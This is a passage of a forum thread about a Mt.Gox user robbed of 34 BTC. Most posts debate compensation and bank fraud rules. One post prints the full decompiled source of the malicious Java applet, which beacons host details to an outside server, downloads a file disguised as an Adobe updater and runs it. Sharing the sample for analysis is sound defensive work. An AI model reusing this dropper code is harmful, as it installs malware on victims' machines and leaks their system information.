How I got robbed of 34 btc on Mt.Gox today
11–20 of 251 posts
Re: How I got robbed of 34 btc on Mt.Gox today
#12They should compensate me 100%.
This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated.
While in the real world, banks will often compensate you if you're the victim of fraud, there isn't any equivalent for Bitcoin, despite people really expecting it.
Re: How I got robbed of 34 btc on Mt.Gox today
#13At least they were open about being robbed. I wonder how many bitcoins were stolen in total?
EDIT: Has anyone visited the URL to analyse the malware?
Re: How I got robbed of 34 btc on Mt.Gox today
#14I'm not doubting Bitcoin's potential to become a true currency, but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it. People don't place value in the currency itself, but the system that provides certain security around it.
Banks that handle USD follow strict federal regulations on security procedures and insurance. If this happened at a bank, the OP would absolutely get his money back. Bitcoin needs federal regulations... oh wait...
I can't imagine my parents (or 99% of the adult population) being liable for this theft when "proper security precautions" means knowing when to detect and avoid a "0 day java exploit with a cross site injection attack".
Re: How I got robbed of 34 btc on Mt.Gox today
#15"Being a techie", I like to confuse Java and Javascript ...
Re: How I got robbed of 34 btc on Mt.Gox today
#16Mtgox has clearly not had time to respond, and I fear they will claim this is my fault as I have seen in other posts online that they say "report it to the police". They should compensate me 100%. This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated. While in the real world, banks will often compensate you if you're the victim of f…
While I have sympathy for the author it was a pretty silly thing to do.
Re: How I got robbed of 34 btc on Mt.Gox today
#17Java's security track is horrible and it's quite popular target.
Re: How I got robbed of 34 btc on Mt.Gox today
#18Re: How I got robbed of 34 btc on Mt.Gox today
#19
Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet;
import java.applet.AppletContext;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
public class wDbIDcgeH extends Applet
{
static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";
public static void logme(String paramString)
{
String str1 = lik.replace("?", "");
String str2 = "PoutineCoutu";
try {
String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
localURL.openStream();
} catch (IOException localIOException) {
localIOException.printStackTrace();
}
}
public void start()
{
String str1 = "no";
String str2 = System.getenv("APPDATA");
String str3 = System.getProperty("java.io.tmpdir");
String str4 = "http://g2f.nl/0lczsoo";
String str5 = str2 + "\\";
String str6 = "AdobeUpdate-Setup1.84##e";
String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w";
String str8 = "CodedByOrpheu";
String str9 = str5.concat(str6.replace("##", ".ex"));
BufferedInputStream localBufferedInputStream = null;
try {
localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
} catch (IOException localIOException1) {
if (str1 != "yes") logme("Noa");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1);
}
FileOutputStream localFileOutputStream = null;
try {
localFileOutputStream = new FileOutputStream(str9);
} catch (FileNotFoundException localFileNotFoundException) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
}
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
byte[] arrayOfByte = new byte[1024];
try
{
int i;
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
if (str1 != "yes") logme("Noc");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2);
}
try {
localBufferedOutputStream.close();
} catch (IOException localIOException3) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3);
}
try {
localBufferedInputStream.close();
} catch (IOException localIOException4) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4);
}
try {
Runtime.getRuntime().exec(str9);
logme("Yes");
} catch (IOException localIOException5) {
logme("Nod");
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5);
}
try
{
getAppletContext().showDocument(new URL("0"), "_self");
} catch (MalformedURLException localMalformedURLException) {
System.exit(0);
localMalformedURLException.printStackTrace();
}
}
public void init() {
start();
}
}
Well, I can't decipher that, but some security expert might be able to see what's going on.Re: How I got robbed of 34 btc on Mt.Gox today
#20Mtgox has clearly not had time to respond, and I fear they will claim this is my fault as I have seen in other posts online that they say "report it to the police". They should compensate me 100%. This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated. While in the real world, banks will often compensate you if you're the victim of f…
...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will. While I have sympathy for the author it was a pretty silly thing to do.
Agreed, the banks aren't doing it from the goodness of their heart.
While I have sympathy for the author it was a pretty silly thing to do.
And in the real world, if you gave someone your card and PIN, the bank would be unlikely to compensate you.
I think that this example is more similar to falling victim to card skimming, though.
Whilst one should always check the ATM for suspicious devices, and never let the card leave one's sight, it doesn't mean that it's not easy to fall prey to such fraud all the same.